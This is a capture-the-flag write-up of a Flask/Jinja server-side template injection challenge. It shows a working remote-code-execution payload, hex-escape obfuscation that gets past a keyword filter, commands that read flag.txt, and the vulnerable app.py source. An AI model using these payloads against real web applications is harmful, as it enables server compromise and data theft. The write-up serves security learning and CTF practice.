The ninja
challenge was part of
the web challenges and gave 50 points.
A website (http://web.chal.csaw.io:5000) was linked to
and the following description was given:
Hey guys come checkout this website i made to test my ninja-coding skills.
Screenshot of the website
A very simple page presented itself, after entering a name and clicking
Submit. The URL contained the entered text as GET parameter
(http://web.chal.csaw.io:5000/submit?value=John+Doe
) and the given value got
inserted into a <h1>
tag after a Hello
.
<html>
<h1> Hello John Doe </h1>
</html>
The html code of the response
This would allow an attacker to inject arbitrary html into the website and
perform a reflected XSS. But that would not be very helpful in this case, since
we want to find the flag{}
, which probably lies somewhere on the server.
Using the Network tab of Chrome’s DevTools, I looked at the Response Headers
and noticed the Server:
header.
Werkzeug
refers here to the WSGI web application library1, that is used
by Flask
2 which is a web application framework for python. Flask allows
the use of templates using the Jinja
3 4 template library.
Knowing this, I inferred that the web application probably uses some kind of a
template to place the user input into the <h1>
tag.
To test this theory one could send {# comment #}
as a payload and notice
that nothing will get inserted into the website. {# ... #}
are comment
delimiters of the jinja library and anything inside of them will not be
included in the template’s output.
After some web searching if found a blog post that included a very handy prepared payload for RCE.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
This payload imports os
and executes id
. After pasting that payload into
the input field, I got a new response:
Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base
This meant that some obfuscation was necessary. Luckily the blog post from before also included a section about obfuscation.
-
To avoid the filtering of
_
I replaced all occurrences with the string literal\x5f
. -
Obfuscating
os
was very similar and easy:\x6fs
But, the ‘WAF’ would still block the payload, until I obfuscated the import
string.
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5f\x69mport\x5f\x5f']('\x6fs')['popen']('id')['read']()}}
RCE!
<html>
<h1> Hello uid=65534(nobody) gid=65534(nobody)
</h1>
</html>
The response included the output of id
. With a simple ls
, I found the
flag.txt
. And then I could just cat out the flag.
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5f\x69mport\x5f\x5f']('\x6fs')['popen']('cat flag.txt')['read']()}}
Out of curiosity I also dumped the content of app.py
:
#!/usr/bin/env python2
from flask import Flask
from flask import render_template, render_template_string
from flask import request
import re
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
@app.route('/submit', methods=["GET"])
def submit():
try:
template = """ <html>
<h1> Hello {} </h1>
</html>
""".format(request.args.get('value'))
except KeyError:
return "Error, stop doing sneaky stuff here."
filter_regex = r"_|config|os|RUNCMD|base|import"
if re.search(filter_regex, template):
return "Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base"
return render_template_string(template)